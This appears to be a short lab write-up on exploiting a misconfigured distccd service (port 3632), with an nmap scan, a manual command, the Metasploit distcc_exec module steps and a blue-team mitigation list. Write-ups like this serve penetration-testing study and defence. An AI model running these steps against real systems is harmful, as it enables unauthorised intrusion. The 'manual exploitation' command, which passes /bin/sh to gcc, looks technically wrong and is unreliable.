distccd — Remote Command Execution

01

Vulnerability Overview

The distccd service is misconfigured to allow unauthenticated remote command execution. The daemon executes arbitrary commands passed to it via job requests without proper validation, leading to remote code execution.

distcc is designed for distributed compilation but when misconfigured, it becomes a dangerous service allowing remote command execution.

02

Service Detection

bash

nmap -sV -v -p 3632 <target-ip>

Nmap distccd Service Version Scan

03

Manual Exploitation

Use distcc to execute remote commands:

bash

distcc <target-ip>:3632 gcc -c /bin/sh -o /tmp/shell

distccd Manual Command Execution

04

Automated Exploitation — Metasploit

bash

msfconsole
use exploit/unix/misc/distcc_exec
set RHOSTS <target-ip>
run

Metasploit distccd Exploit

05

Results & Impact

Outcome

Successfully executed remote commands via distccd
Obtained shell access on the target system
Potential for full system compromise

Detection & Mitigation (Blue Team)

Configure distccd to only accept connections from trusted hosts
Use authentication and access controls
Restrict distccd to localhost or disable if not needed
Use firewall to block port 3632 externally
Monitor distccd logs for suspicious job requests